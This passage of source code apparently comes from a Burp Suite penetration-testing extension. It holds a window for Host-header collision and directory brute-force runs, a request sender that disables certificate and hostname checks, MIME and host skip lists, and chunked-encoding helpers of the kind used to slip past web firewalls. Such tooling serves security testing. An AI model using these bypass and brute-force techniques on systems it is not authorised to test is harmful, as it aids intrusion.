https://csdnimg.cn/static/api/js/view/share_view.js?v=3ae6026d.js 94 | } -------------------------------------------------------------------------------- /src/Requester/RunnerGUI.java: -------------------------------------------------------------------------------- 1 | package Requester; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.EventQueue; 5 | import java.awt.FlowLayout; 6 | import java.awt.event.ActionEvent; 7 | import java.awt.event.ActionListener; 8 | import java.awt.event.WindowEvent; 9 | import java.awt.event.WindowListener; 10 | 11 | import javax.swing.JButton; 12 | import javax.swing.JFrame; 13 | import javax.swing.JLabel; 14 | import javax.swing.JPanel; 15 | import javax.swing.JScrollPane; 16 | import javax.swing.JTabbedPane; 17 | import javax.swing.border.EmptyBorder; 18 | 19 | import burp.IHttpRequestResponse; 20 | import thread.ThreadBypassGatewayForAll; 21 | import thread.ThreadDirBruter; 22 | import thread.ThreadRunner; 23 | import title.LineTable; 24 | import title.LineTableModel; 25 | import title.search.SearchTextField; 26 | 27 | public class RunnerGUI extends JFrame { 28 | 29 | private JScrollPane runnerScrollPaneRequests; 30 | private JTabbedPane RequestPanel; 31 | private JTabbedPane ResponsePanel; 32 | private JPanel RunnerPanel; 33 | 34 | private LineTableModel runnerTableModel = new LineTableModel(); 35 | private LineTable runnerTable = new LineTable(runnerTableModel); 36 | private IHttpRequestResponse messageInfo; 37 | public JLabel lblStatus; 38 | 39 | private ThreadRunner runner; 40 | private ThreadDirBruter bruter; 41 | private ThreadBypassGatewayForAll checker; 42 | 43 | public JPanel getRunnerPanel() { 44 | return RunnerPanel; 45 | } 46 | 47 | public void setRunnerPanel(JPanel runnerPanel) { 48 | RunnerPanel = runnerPanel; 49 | } 50 | 51 | public JScrollPane getRunnerScrollPaneRequests() { 52 | return runnerScrollPaneRequests; 53 | } 54 | 55 | public void setRunnerScrollPaneRequests(JScrollPane runnerScrollPaneRequests) { 56 | this.runnerScrollPaneRequests = runnerScrollPaneRequests; 57 | } 58 | 59 | public JTabbedPane getRequestPanel() { 60 | return RequestPanel; 61 | } 62 | 63 | public void setRequestPanel(JTabbedPane requestPanel) { 64 | RequestPanel = requestPanel; 65 | } 66 | 67 | public JTabbedPane getResponsePanel() { 68 | return ResponsePanel; 69 | } 70 | 71 | public void setResponsePanel(JTabbedPane responsePanel) { 72 | ResponsePanel = responsePanel; 73 | } 74 | 75 | public LineTableModel getRunnerTableModel() { 76 | return runnerTableModel; 77 | } 78 | 79 | public void setRunnerTableModel(LineTableModel runnerTableModel) { 80 | this.runnerTableModel = runnerTableModel; 81 | } 82 | 83 | public LineTable getRunnerTable() { 84 | return runnerTable; 85 | } 86 | 87 | public void setRunnerTable(LineTable runnerTable) { 88 | this.runnerTable = runnerTable; 89 | } 90 | 91 | public ThreadRunner getRunner() { 92 | return runner; 93 | } 94 | 95 | public void setRunner(ThreadRunner runner) { 96 | this.runner = runner; 97 | } 98 | 99 | public IHttpRequestResponse getMessageInfo() { 100 | return messageInfo; 101 | } 102 | 103 | public void setMessageInfo(IHttpRequestResponse messageInfo) { 104 | this.messageInfo = messageInfo; 105 | } 106 | 107 | /** 108 | * Launch the application. 109 | */ 110 | public static void main(String[] args) { 111 | EventQueue.invokeLater(new Runnable() { 112 | public void run() { 113 | try { 114 | RunnerGUI frame = new RunnerGUI(true); 115 | frame.setVisible(true); 116 | } catch (Exception e) { 117 | e.printStackTrace(); 118 | } 119 | } 120 | }); 121 | } 122 | 123 | 124 | 125 | /** 126 | * Create the frame. 127 | * 128 | * 独立运行测试 129 | */ 130 | 131 | public RunnerGUI(boolean Alone) {//传递一个参数以示区分 132 | setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 133 | 134 | setBounds(100, 100, 1000, 500); 135 | RunnerPanel = new JPanel(); 136 | RunnerPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 137 | RunnerPanel.setLayout(new BorderLayout(0, 0)); 138 | setContentPane(RunnerPanel);//for test 139 | 140 | lblStatus = new JLabel("Status"); 141 | RunnerPanel.add(lblStatus, BorderLayout.NORTH); 142 | 143 | //RunnerPanel.add(splitPane, BorderLayout.CENTER); 144 | } 145 | 146 | /** 147 | * 对一个请求数据包,进行各种变化然后请求,类似Intruder的功能。 148 | * 数据源都来自Domain Hunter 149 | * @param messageInfo 150 | */ 151 | public RunnerGUI(IHttpRequestResponse messageInfo) { 152 | this.messageInfo = messageInfo; 153 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 154 | //if use "EXIT_ON_CLOSE",burp will exit!! 155 | setVisible(true); 156 | setTitle("Runner"); 157 | 158 | RunnerPanel = new JPanel(); 159 | RunnerPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 160 | RunnerPanel.setLayout(new BorderLayout(0, 0)); 161 | setContentPane(RunnerPanel);//for test 162 | 163 | JPanel buttonPanel = new JPanel(); 164 | buttonPanel.setLayout(new FlowLayout(FlowLayout.LEFT, 5, 5)); 165 | RunnerPanel.add(buttonPanel,BorderLayout.NORTH); 166 | 167 | //搜索框 168 | JButton buttonSearch = new JButton("Search"); 169 | SearchTextField textFieldSearch = new SearchTextField("",buttonSearch); 170 | buttonPanel.add(textFieldSearch); 171 | 172 | //搜索按钮 173 | buttonSearch.addActionListener(new ActionListener() { 174 | public void actionPerformed(ActionEvent e) { 175 | String keyword = textFieldSearch.getText(); 176 | runnerTable.search(keyword,false); 177 | } 178 | }); 179 | buttonPanel.add(buttonSearch); 180 | 181 | lblStatus = new JLabel("Status"); 182 | buttonPanel.add(lblStatus); 183 | 184 | //显示请求和响应的table 185 | RunnerPanel.add(runnerTable.getTableAndDetailSplitPane(), BorderLayout.CENTER); 186 | //frame.getRootPane().add(runnerTable.getSplitPane(), BorderLayout.CENTER); 187 | addWindowListener(new WindowListener() { 188 | 189 | @Override 190 | public void windowOpened(WindowEvent e) { 191 | // TODO Auto-generated method stub 192 | 193 | } 194 | 195 | @Override 196 | public void windowClosing(WindowEvent e) { 197 | // TODO 关闭多线程 198 | try{ 199 | runnerTableModel = null; 200 | }catch (Exception e1){ 201 | e1.printStackTrace(); 202 | } 203 | 204 | if (runner !=null) { 205 | runner.interrupt(); 206 | } 207 | 208 | if (bruter != null) { 209 | bruter.interrupt(); 210 | } 211 | 212 | if (checker != null) { 213 | checker.interrupt(); 214 | } 215 | 216 | } 217 | 218 | @Override 219 | public void windowClosed(WindowEvent e) { 220 | // TODO Auto-generated method stub 221 | 222 | } 223 | 224 | @Override 225 | public void windowIconified(WindowEvent e) { 226 | // TODO Auto-generated method stub 227 | 228 | } 229 | 230 | @Override 231 | public void windowDeiconified(WindowEvent e) { 232 | // TODO Auto-generated method stub 233 | 234 | } 235 | 236 | @Override 237 | public void windowActivated(WindowEvent e) { 238 | // TODO Auto-generated method stub 239 | 240 | } 241 | 242 | @Override 243 | public void windowDeactivated(WindowEvent e) { 244 | // TODO Auto-generated method stub 245 | 246 | } 247 | }); 248 | setBounds(100, 100, 1000, 500); 249 | 250 | //准备工作 251 | } 252 | 253 | /** 254 | * 对所有收集到的域名和IP进行Host碰撞 255 | */ 256 | public void begainGatewayBypassCheck() { 257 | checker = new ThreadBypassGatewayForAll(this); 258 | checker.start(); 259 | } 260 | 261 | public void begainRun() { 262 | runner = new ThreadRunner(this,messageInfo); 263 | runner.start(); 264 | } 265 | 266 | /** 267 | * 对一个网关,尝试所有域名的网关绕过测试。(Host碰撞) 268 | */ 269 | public void begainRunChangeHostInHeader() { 270 | runner = new ThreadRunner(this,messageInfo,ThreadRunner.ChangeHostInHeader); 271 | runner.start(); 272 | } 273 | 274 | public void begainDirBrute() { 275 | bruter = new ThreadDirBruter(this,messageInfo); 276 | bruter.start(); 277 | } 278 | } 279 | -------------------------------------------------------------------------------- /src/base/MimeTypesList.java: -------------------------------------------------------------------------------- 1 | package base; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | 8 | import org.apache.commons.io.FileUtils; 9 | import org.apache.tika.mime.MediaType; 10 | import org.apache.tika.mime.MimeTypes; 11 | 12 | public class MimeTypesList { 13 | public static void main(String[] args) { 14 | genMIMETypeListAsPathBlackList(); 15 | } 16 | 17 | /** 18 | * 生成用于作为路径黑名单的MIME列表 19 | * @param args 20 | */ 21 | public static List genMIMETypeListAsPathBlackList() { 22 | List result = new ArrayList<>(); 23 | 24 | // 获取默认的 MimeTypes 实例 25 | MimeTypes allTypes = MimeTypes.getDefaultMimeTypes(); 26 | 27 | // 获取所有已注册的 MIME 类型 28 | for (MediaType type : allTypes.getMediaTypeRegistry().getTypes()) { 29 | String typeStr = type.getType().toString(); 30 | //"text" for "text/plain" 31 | String subTypeStr = type.getSubtype().toString(); 32 | //"plain" for "text/plain" 33 | if (subTypeStr.contains(";")) { 34 | subTypeStr = subTypeStr.substring(0,subTypeStr.indexOf(";")+1); 35 | } 36 | if (subTypeStr.contains("-")) { 37 | subTypeStr = subTypeStr.substring(0,subTypeStr.indexOf("-")+1); 38 | } 39 | if (subTypeStr.contains(".")) { 40 | subTypeStr = subTypeStr.substring(0,subTypeStr.indexOf(".")+1); 41 | } 42 | if (subTypeStr.contains("+")) { 43 | subTypeStr = subTypeStr.substring(0,subTypeStr.indexOf("+")+1); 44 | } 45 | 46 | String item =typeStr+"/"+subTypeStr; 47 | //System.out.println(item); 48 | 49 | if (!result.contains(item)) { 50 | result.add(item); 51 | } 52 | result.add("text/"); 53 | } 54 | 55 | // try { 56 | // FileUtils.writeLines(new File("blackPath.txt"), result); 57 | // } catch (IOException e) { 58 | // // TODO Auto-generated catch block 59 | // e.printStackTrace(); 60 | // } 61 | 62 | return result; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/base/Proxy.java: -------------------------------------------------------------------------------- 1 | package base; 2 | 3 | import javax.swing.JOptionPane; 4 | 5 | import org.apache.commons.lang3.StringUtils; 6 | import org.apache.commons.validator.routines.DomainValidator; 7 | import org.apache.commons.validator.routines.InetAddressValidator; 8 | 9 | import burp.BurpExtender; 10 | 11 | public class Proxy { 12 | 13 | String host; 14 | int port; 15 | 16 | public Proxy(String proxyStr) throws IllegalArgumentException { 17 | if (StringUtils.isEmpty(proxyStr)) { 18 | throw new IllegalArgumentException("input is empty"); 19 | } 20 | try { 21 | String[] parts = proxyStr.split(":"); 22 | if (parts.length != 2) { 23 | throw new IllegalArgumentException("not valid host:port format"); 24 | } 25 | host = parts[0]; 26 | if (!isValidIPAddress(host) && !isValidDomainName(host)) { 27 | throw new IllegalArgumentException("host is not valid IP address and domain name"); 28 | } 29 | String portStr = parts[1]; 30 | port = Integer.parseInt(portStr); 31 | if (!(port >= 0 && port <= 65535)) { 32 | throw new IllegalArgumentException("invalid port range"); 33 | } 34 | } catch (Exception e) { 35 | throw new IllegalArgumentException(e.getMessage()); 36 | } 37 | } 38 | 39 | // 检查是否是合法的IP地址 40 | public static boolean isValidIPAddress(String ipAddress) { 41 | InetAddressValidator validator = InetAddressValidator.getInstance(); 42 | return validator.isValidInet4Address(ipAddress); 43 | } 44 | 45 | // 检查是否是合法的域名 46 | public static boolean isValidDomainName(String domainName) { 47 | DomainValidator validator = DomainValidator.getInstance(); 48 | return validator.isValid(domainName); 49 | } 50 | 51 | public static Proxy inputProxy() { 52 | int retry = 3; 53 | while (retry > 0) { 54 | String proxy = JOptionPane.showInputDialog("Confirm Proxy Of Burp", "127.0.0.1:8080"); 55 | try { 56 | return new Proxy(proxy); 57 | } catch (IllegalArgumentException e) { 58 | BurpExtender.getStderr().println(e); 59 | retry = retry - 1; 60 | } 61 | } 62 | return null; 63 | } 64 | 65 | public String getHost() { 66 | return host; 67 | } 68 | 69 | public void setHost(String host) { 70 | this.host = host; 71 | } 72 | 73 | public int getPort() { 74 | return port; 75 | } 76 | 77 | public void setPort(int port) { 78 | this.port = port; 79 | } 80 | 81 | public String getProxyStr() { 82 | return host + ":" + port; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/base/RequestTask.java: -------------------------------------------------------------------------------- 1 | package base; 2 | 3 | import java.net.MalformedURLException; 4 | import java.net.URL; 5 | import java.util.HashMap; 6 | 7 | import com.bit4woo.utilbox.burp.HelperPlus; 8 | import com.github.kevinsawicki.http.HttpRequest; 9 | 10 | import burp.BurpExtender; 11 | import burp.IBurpExtenderCallbacks; 12 | import burp.IHttpRequestResponse; 13 | import burp.IHttpService; 14 | 15 | public class RequestTask { 16 | 17 | String url; 18 | RequestType requestType; 19 | 20 | static final String userAgentKey = "User-Agent"; 21 | static final String userAgentValue = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"; 22 | static final String RefererKey = "Referer"; 23 | 24 | public RequestTask(String url,RequestType requestType) { 25 | this.url = url; 26 | this.requestType = requestType; 27 | } 28 | 29 | 30 | private static HttpRequest configHttpRequest(HttpRequest request,String proxyHost,int proxyPort,HashMap headers) { 31 | 32 | //Configure proxy 33 | request.useProxy(proxyHost, proxyPort); 34 | 35 | for (String key:headers.keySet()) { 36 | String value =headers.get(key); 37 | request.header(key, value); 38 | } 39 | 40 | if (!headers.keySet().contains(userAgentKey)) { 41 | request.header(userAgentKey, userAgentValue); 42 | } 43 | 44 | //Accept all certificates 45 | request.trustAllCerts(); 46 | //Accept all hostnames 47 | request.trustAllHosts(); 48 | 49 | return request; 50 | } 51 | 52 | 53 | //TODO 使用已有请求的header?尤其是cookie 54 | public static void doGetReq(String url,String proxyHost,int proxyPort,HashMap headers) { 55 | HttpRequest request = HttpRequest.get(url); 56 | request = configHttpRequest(request,proxyHost,proxyPort,headers); 57 | request.code(); 58 | } 59 | 60 | 61 | public static void doPostReq(String url,String proxyHost,int proxyPort,HashMap headers) 62 | { 63 | HttpRequest postRequest = HttpRequest.post(url); 64 | postRequest = configHttpRequest(postRequest,proxyHost,proxyPort,headers); 65 | 66 | postRequest.send("test=test"); 67 | postRequest.code(); 68 | } 69 | 70 | public static void doPostJsonReq(String url,String proxyHost,int proxyPort,HashMap headers) 71 | { 72 | HttpRequest postRequest = HttpRequest.post(url); 73 | 74 | postRequest = configHttpRequest(postRequest,proxyHost,proxyPort,headers); 75 | 76 | 77 | postRequest.header("Content-Type", "application/json"); 78 | postRequest.send("{}"); 79 | postRequest.code(); 80 | } 81 | 82 | public void sendRequest(String proxyHost,int proxyPort,HashMap headers) { 83 | 84 | if (!headers.keySet().contains(RefererKey)) { 85 | headers.put(RefererKey, url); 86 | } 87 | System.out.println("send request:"+url+" using proxy:"+proxyHost+":"+proxyPort); 88 | if (requestType == RequestType.GET) { 89 | doGetReq(url,proxyHost,proxyPort,headers); 90 | } 91 | if (requestType == RequestType.POST) { 92 | doPostReq(url,proxyHost,proxyPort,headers); 93 | } 94 | if (requestType == RequestType.JSON) { 95 | doPostJsonReq(url,proxyHost,proxyPort,headers); 96 | } 97 | } 98 | 99 | 100 | @Deprecated 101 | public static void sendRequestWithBurpMethod(String url) { 102 | URL tmpUrl; 103 | try { 104 | tmpUrl = new URL(url); 105 | } catch (MalformedURLException e) { 106 | e.printStackTrace(); 107 | return; 108 | } 109 | 110 | IBurpExtenderCallbacks callbacks = BurpExtender.getCallbacks(); 111 | 112 | byte[] req = callbacks.getHelpers().buildHttpRequest(tmpUrl); 113 | HelperPlus hp = new HelperPlus(callbacks.getHelpers()); 114 | req = hp.addOrUpdateHeader(true, req, "X-sent-by-knife", "X-sent-by-knife"); 115 | 116 | int port = tmpUrl.getPort() == -1? tmpUrl.getDefaultPort():tmpUrl.getPort(); 117 | IHttpService service = callbacks.getHelpers().buildHttpService(tmpUrl.getHost(), port, tmpUrl.getProtocol()); 118 | 119 | IHttpRequestResponse message = BurpExtender.getCallbacks().makeHttpRequest(service, req); 120 | message.setComment("Sent by Knife");//在logger中没有显示comment 121 | 122 | byte[] postReq = callbacks.getHelpers().toggleRequestMethod(req); 123 | IHttpRequestResponse message1 = BurpExtender.getCallbacks().makeHttpRequest(service, postReq); 124 | message.setComment("Sent by Knife");//在logger中没有显示comment 125 | } 126 | 127 | } 128 | -------------------------------------------------------------------------------- /src/base/RequestType.java: -------------------------------------------------------------------------------- 1 | package base; 2 | 3 | public enum RequestType { 4 | GET, 5 | POST, 6 | JSON, 7 | } 8 | -------------------------------------------------------------------------------- /src/base/blackHost.txt: -------------------------------------------------------------------------------- 1 | ns.adobe.com 2 | schemas.microsoft.com 3 | iptc.org 4 | jmespath.org 5 | json-schema.org 6 | registry.npmjs.org 7 | openoffice.org 8 | schemas.openxmlformats.org 9 | sheetjs.openxmlformats.org 10 | www.w3.org -------------------------------------------------------------------------------- /src/base/blackPath.txt: -------------------------------------------------------------------------------- 1 | application/activemessage 2 | application/andrew- 3 | application/applefile 4 | application/applixware 5 | application/atom+ 6 | application/atomcat+ 7 | application/atomicmail 8 | application/atomsvc+ 9 | application/auth- 10 | application/batch- 11 | application/beep+ 12 | application/bizagi- 13 | application/cals- 14 | application/cbor 15 | application/ccxml+ 16 | application/cea- 17 | application/cellml+ 18 | application/cnrp+ 19 | application/commonground 20 | application/conference- 21 | application/coreldraw 22 | application/cpl+ 23 | application/csta+ 24 | application/cstadata+ 25 | application/cu- 26 | application/cybercash 27 | application/dash+ 28 | application/davmount+ 29 | application/dca- 30 | application/dec- 31 | application/dialog- 32 | application/dicom 33 | application/dif+ 34 | application/dita+ 35 | application/dns 36 | application/dvcs 37 | application/ecmascript 38 | application/edi- 39 | application/edifact 40 | application/emma+ 41 | application/envi. 42 | application/epp+ 43 | application/epub+ 44 | application/eshop 45 | application/example 46 | application/fastinfoset 47 | application/fastsoap 48 | application/fits 49 | application/font- 50 | application/gzip 51 | application/h224 52 | application/http 53 | application/hwp+ 54 | application/hyperstudio 55 | application/ibe- 56 | application/iges 57 | application/illustrator 58 | application/illustrator+ 59 | application/im- 60 | application/index 61 | application/index. 62 | application/inf 63 | application/iotp 64 | application/ipp 65 | application/isup 66 | application/java- 67 | application/javascript 68 | application/json 69 | application/kate 70 | application/kpml- 71 | application/lost+ 72 | application/mac- 73 | application/macwriteii 74 | application/manifest+ 75 | application/marc 76 | application/mathematica 77 | application/mathml+ 78 | application/mbms- 79 | application/mbox 80 | application/media_control+ 81 | application/mediaservercontrol+ 82 | application/mikey 83 | application/moss- 84 | application/mosskey- 85 | application/mp4 86 | application/mpeg4- 87 | application/msword 88 | application/msword2 89 | application/msword5 90 | application/mxf 91 | application/nasdata 92 | application/news- 93 | application/nss 94 | application/ocsp- 95 | application/octet- 96 | application/oda 97 | application/oebps- 98 | application/ogg 99 | application/onenote 100 | application/onix- 101 | application/parityfec 102 | application/patch- 103 | application/pdf 104 | application/pgp- 105 | application/pics- 106 | application/pidf+ 107 | application/pidf- 108 | application/pkcs10 109 | application/pkcs7- 110 | application/pkix- 111 | application/pkixcmp 112 | application/pls+ 113 | application/poc- 114 | application/postscript 115 | application/prs. 116 | application/qsig 117 | application/quicktime 118 | application/rdf+ 119 | application/reginfo+ 120 | application/relax- 121 | application/remote- 122 | application/resource- 123 | application/riscos 124 | application/rlmi+ 125 | application/rls- 126 | application/rsd+ 127 | application/rss+ 128 | application/rtf 129 | application/rtx 130 | application/samlassertion+ 131 | application/samlmetadata+ 132 | application/sbml+ 133 | application/scvp- 134 | application/sdp 135 | application/sereal 136 | application/set- 137 | application/sgml 138 | application/sgml- 139 | application/shf+ 140 | application/sieve 141 | application/simple- 142 | application/simplesymbolcontainer 143 | application/slate 144 | application/sldworks 145 | application/smil+ 146 | application/soap+ 147 | application/sparql- 148 | application/spirits- 149 | application/srgs 150 | application/srgs+ 151 | application/ssml+ 152 | application/timestamp- 153 | application/timestamped- 154 | application/ttml+ 155 | application/tve- 156 | application/ulpfec 157 | application/vemmi 158 | application/vividence. 159 | application/vnd. 160 | application/voicexml+ 161 | application/warc 162 | application/warc+ 163 | application/wasm 164 | application/watcherinfo+ 165 | application/whoispp- 166 | application/winhlp 167 | application/wita 168 | application/wordperfect5. 169 | application/wsdl+ 170 | application/wspolicy+ 171 | application/x- 172 | application/x400- 173 | application/xcap- 174 | application/xcon- 175 | application/xenc+ 176 | application/xhtml+ 177 | application/xhtml- 178 | application/xml 179 | application/xml- 180 | application/xmpp+ 181 | application/xop+ 182 | application/xquery 183 | application/xslfo+ 184 | application/xslt+ 185 | application/xspf+ 186 | application/xv+ 187 | application/zip 188 | application/zlib 189 | application/zstd 190 | audio/32kadpcm 191 | audio/3gpp 192 | audio/3gpp2 193 | audio/ac3 194 | audio/adpcm 195 | audio/amr 196 | audio/amr- 197 | audio/asc 198 | audio/basic 199 | audio/bv16 200 | audio/bv32 201 | audio/clearmode 202 | audio/cn 203 | audio/dat12 204 | audio/dls 205 | audio/dsr- 206 | audio/dvi4 207 | audio/eac3 208 | audio/evrc 209 | audio/evrc- 210 | audio/evrc0 211 | audio/evrc1 212 | audio/evrcb 213 | audio/evrcb0 214 | audio/evrcb1 215 | audio/evrcwb 216 | audio/evrcwb0 217 | audio/evrcwb1 218 | audio/example 219 | audio/g719 220 | audio/g722 221 | audio/g7221 222 | audio/g723 223 | audio/g726- 224 | audio/g728 225 | audio/g729 226 | audio/g7291 227 | audio/g729d 228 | audio/g729e 229 | audio/gsm 230 | audio/gsm- 231 | audio/ilbc 232 | audio/l16 233 | audio/l20 234 | audio/l24 235 | audio/l8 236 | audio/lpc 237 | audio/midi 238 | audio/mobile- 239 | audio/mp4 240 | audio/mp4a- 241 | audio/mpa 242 | audio/mpa- 243 | audio/mpeg 244 | audio/mpeg4- 245 | audio/ogg 246 | audio/opus 247 | audio/parityfec 248 | audio/pcma 249 | audio/pcma- 250 | audio/pcmu 251 | audio/pcmu- 252 | audio/prs. 253 | audio/qcelp 254 | audio/red 255 | audio/rtp- 256 | audio/rtx 257 | audio/smv 258 | audio/smv- 259 | audio/smv0 260 | audio/sp- 261 | audio/speex 262 | audio/t140c 263 | audio/t38 264 | audio/telephone- 265 | audio/tone 266 | audio/ulpfec 267 | audio/vdvi 268 | audio/vmr- 269 | audio/vnd. 270 | audio/vorbis 271 | audio/vorbis- 272 | audio/x- 273 | chemical/x- 274 | image/aces 275 | image/avif 276 | image/bmp 277 | image/cgm 278 | image/emf 279 | image/example 280 | image/fits 281 | image/g3fax 282 | image/gif 283 | image/heic 284 | image/heic- 285 | image/heif 286 | image/heif- 287 | image/icns 288 | image/ief 289 | image/jp2 290 | image/jpeg 291 | image/jpm 292 | image/jpx 293 | image/jxl 294 | image/naplps 295 | image/nitf 296 | image/png 297 | image/prs. 298 | image/svg+ 299 | image/t38 300 | image/tiff 301 | image/tiff- 302 | image/vnd. 303 | image/webp 304 | image/wmf 305 | image/x- 306 | message/cpim 307 | message/delivery- 308 | message/disposition- 309 | message/example 310 | message/external- 311 | message/global 312 | message/global- 313 | message/http 314 | message/imdn+ 315 | message/news 316 | message/partial 317 | message/rfc822 318 | message/s- 319 | message/sip 320 | message/sipfrag 321 | message/tracking- 322 | message/vnd. 323 | message/x- 324 | model/e57 325 | model/example 326 | model/iges 327 | model/mesh 328 | model/vnd. 329 | model/vrml 330 | multipart/alternative 331 | multipart/appledouble 332 | multipart/byteranges 333 | multipart/digest 334 | multipart/encrypted 335 | multipart/example 336 | multipart/form- 337 | multipart/header- 338 | multipart/mixed 339 | multipart/parallel 340 | multipart/related 341 | multipart/report 342 | multipart/signed 343 | multipart/voice- 344 | text/asp 345 | text/aspdotnet 346 | text/calendar 347 | text/css 348 | text/csv 349 | text/directory 350 | text/dns 351 | text/ecmascript 352 | text/enriched 353 | text/example 354 | text/html 355 | text/iso19139+ 356 | text/parityfec 357 | text/plain 358 | text/prs. 359 | text/red 360 | text/rfc822- 361 | text/richtext 362 | text/rtp- 363 | text/rtx 364 | text/sgml 365 | text/t140 366 | text/tab- 367 | text/troff 368 | text/ulpfec 369 | text/uri- 370 | text/vnd. 371 | text/vtt 372 | text/x- 373 | video/3gpp 374 | video/3gpp- 375 | video/3gpp2 376 | video/bmpeg 377 | video/bt656 378 | video/celb 379 | video/daala 380 | video/dv 381 | video/example 382 | video/h261 383 | video/h263 384 | video/h263- 385 | video/h264 386 | video/iso. 387 | video/jpeg 388 | video/jpeg2000 389 | video/mj2 390 | video/mp1s 391 | video/mp2p 392 | video/mp2t 393 | video/mp4 394 | video/mp4v- 395 | video/mpeg 396 | video/mpeg4- 397 | video/mpv 398 | video/nv 399 | video/ogg 400 | video/parityfec 401 | video/pointer 402 | video/quicktime 403 | video/raw 404 | video/rtp- 405 | video/rtx 406 | video/smpte292m 407 | video/theora 408 | video/ulpfec 409 | video/vc1 410 | video/vnd. 411 | video/webm 412 | video/x- 413 | x-conference/x- 414 | -------------------------------------------------------------------------------- /src/burp/Methods.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.awt.event.ActionListener; 4 | import java.io.UnsupportedEncodingException; 5 | import java.util.ArrayList; 6 | import java.util.Arrays; 7 | import java.util.List; 8 | import java.util.Random; 9 | 10 | import javax.swing.JMenu; 11 | import javax.swing.JMenuItem; 12 | import javax.swing.JOptionPane; 13 | import javax.swing.JSeparator; 14 | 15 | public class Methods { 16 | 17 | 18 | public static String prompt_and_validate_input(String prompt, String str){ 19 | String user_input = JOptionPane.showInputDialog(prompt, str); 20 | if (null == user_input) return null; 21 | while(user_input.trim().equals("")){ 22 | user_input = JOptionPane.showInputDialog(prompt, str); 23 | } 24 | return user_input.trim(); 25 | } 26 | 27 | // public static byte[] do_modify_request(byte[] request, int[] selectedIndex, String modifiedString){ 28 | // byte[] modString = modifiedString.getBytes(); 29 | // byte[] newRequest = new byte[request.length + modifiedString.length() - (selectedIndex[1]-selectedIndex[0])]; 30 | // System.arraycopy(request, 0, newRequest, 0, selectedIndex[0]); 31 | // System.arraycopy(modString, 0, newRequest, selectedIndex[0], modString.length); 32 | // System.arraycopy(request, selectedIndex[1], newRequest, selectedIndex[0]+modString.length, request.length-selectedIndex[1]); 33 | // return newRequest; 34 | // } 35 | 36 | public static byte[] do_modify_request(byte[] request, int[] selectedIndex, byte[] payloadByte){ 37 | 38 | /* byte[] preSelectedPortion = Arrays.copyOfRange(request, 0, selectedIndex[0]); 39 | byte[] postSelectedPortion = Arrays.copyOfRange(request, selectedIndex[1], request.length); 40 | 41 | byte[] newRequestResponseBytes = ArrayUtils.addAll(preSelectedPortion, modifiedString); 42 | newRequestResponseBytes = ArrayUtils.addAll(newRequestResponseBytes, postSelectedPortion); 43 | // same as below method 44 | * */ 45 | if (payloadByte == null){ 46 | return request; 47 | } 48 | byte[] newRequest = new byte[request.length + payloadByte.length - (selectedIndex[1]-selectedIndex[0])]; 49 | System.arraycopy(request, 0, newRequest, 0, selectedIndex[0]);//选中位置的前面部分 50 | System.arraycopy(payloadByte, 0, newRequest, selectedIndex[0], payloadByte.length);//新的内容替换选中内容 51 | System.arraycopy(request, selectedIndex[1], newRequest, selectedIndex[0]+payloadByte.length, request.length-selectedIndex[1]);//选中位置的后面部分 52 | return newRequest; 53 | } 54 | 55 | public static void show_message(String str1, String str2){ 56 | JOptionPane.showMessageDialog(null, str1, str2, 0); 57 | } 58 | 59 | // public static byte[] getContent(String filePath) throws Exception{ 60 | // File f = new File(filePath); 61 | // if (!f.exists()) { 62 | // return null; 63 | // } 64 | // byte[] payloadByte = Files.readAllBytes(f.toPath()); 65 | // return payloadByte; 66 | // } 67 | 68 | /** 69 | * 把原始字符串分割成指定长度的字符串列表 70 | * 71 | * @param inputString 原始字符串 72 | * @param length 指定长度 73 | * @return 74 | */ 75 | public static List getStrList(String inputString, int length) { 76 | int size = inputString.length() / length; 77 | if (inputString.length() % length != 0) { 78 | size += 1; 79 | } 80 | return getStrList(inputString, length, size); 81 | } 82 | 83 | /** 84 | * 把原始字符串分割成指定长度的字符串列表 85 | * 86 | * @param inputString 原始字符串 87 | * @param length 指定长度 88 | * @param size 指定列表大小 89 | * @return 90 | */ 91 | public static List getStrList(String inputString, int length, 92 | int size) { 93 | List list = new ArrayList(); 94 | for (int index = 0; index < size; index++) { 95 | String childStr = substring(inputString, index * length, 96 | (index + 1) * length); 97 | list.add(childStr); 98 | } 99 | return list; 100 | } 101 | 102 | /** 103 | * 分割字符串,如果开始位置大于字符串长度,返回空 104 | * 105 | * @param str 原始字符串 106 | * @param f 开始位置 107 | * @param t 结束位置 108 | * @return 109 | */ 110 | public static String substring(String str, int f, int t) { 111 | if (f > str.length()) 112 | return null; 113 | if (t > str.length()) { 114 | return str.substring(f, str.length()); 115 | } else { 116 | return str.substring(f, t); 117 | } 118 | } 119 | 120 | /** 121 | * 获取随机字符串 122 | * @param length 123 | * @return 124 | */ 125 | public static String getRandomString(int length) { 126 | String str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 127 | Random random = new Random(); 128 | char[] text = new char[length]; 129 | for (int i = 0; i < length; i++) { 130 | text[i] = str.charAt(random.nextInt(str.length())); 131 | } 132 | return new String(text); 133 | } 134 | 135 | /** 136 | * 将10进制转换为16进制 137 | * @param decimal 10进制 138 | * @return 16进制 139 | */ 140 | public static String decimalToHex(int decimal) { 141 | String hex = Integer.toHexString(decimal); 142 | return hex.toUpperCase(); 143 | } 144 | 145 | 146 | 147 | public static byte[] encoding(byte[] body,int len,boolean useComment) throws UnsupportedEncodingException { 148 | String bodyString = new String(body, "UTF-8"); 149 | 150 | List str_list = Methods.getStrList(bodyString,len); 151 | String encoding_body = ""; 152 | for(String str:str_list){ 153 | if(useComment){ 154 | encoding_body += String.format("%s;%s",Methods.decimalToHex(str.length()),Methods.getRandomString(10)); 155 | }else{ 156 | encoding_body += Methods.decimalToHex(str.length()); 157 | } 158 | encoding_body += "\r\n"; 159 | encoding_body += str; 160 | encoding_body += "\r\n"; 161 | } 162 | encoding_body += "0\r\n\r\n"; 163 | 164 | return 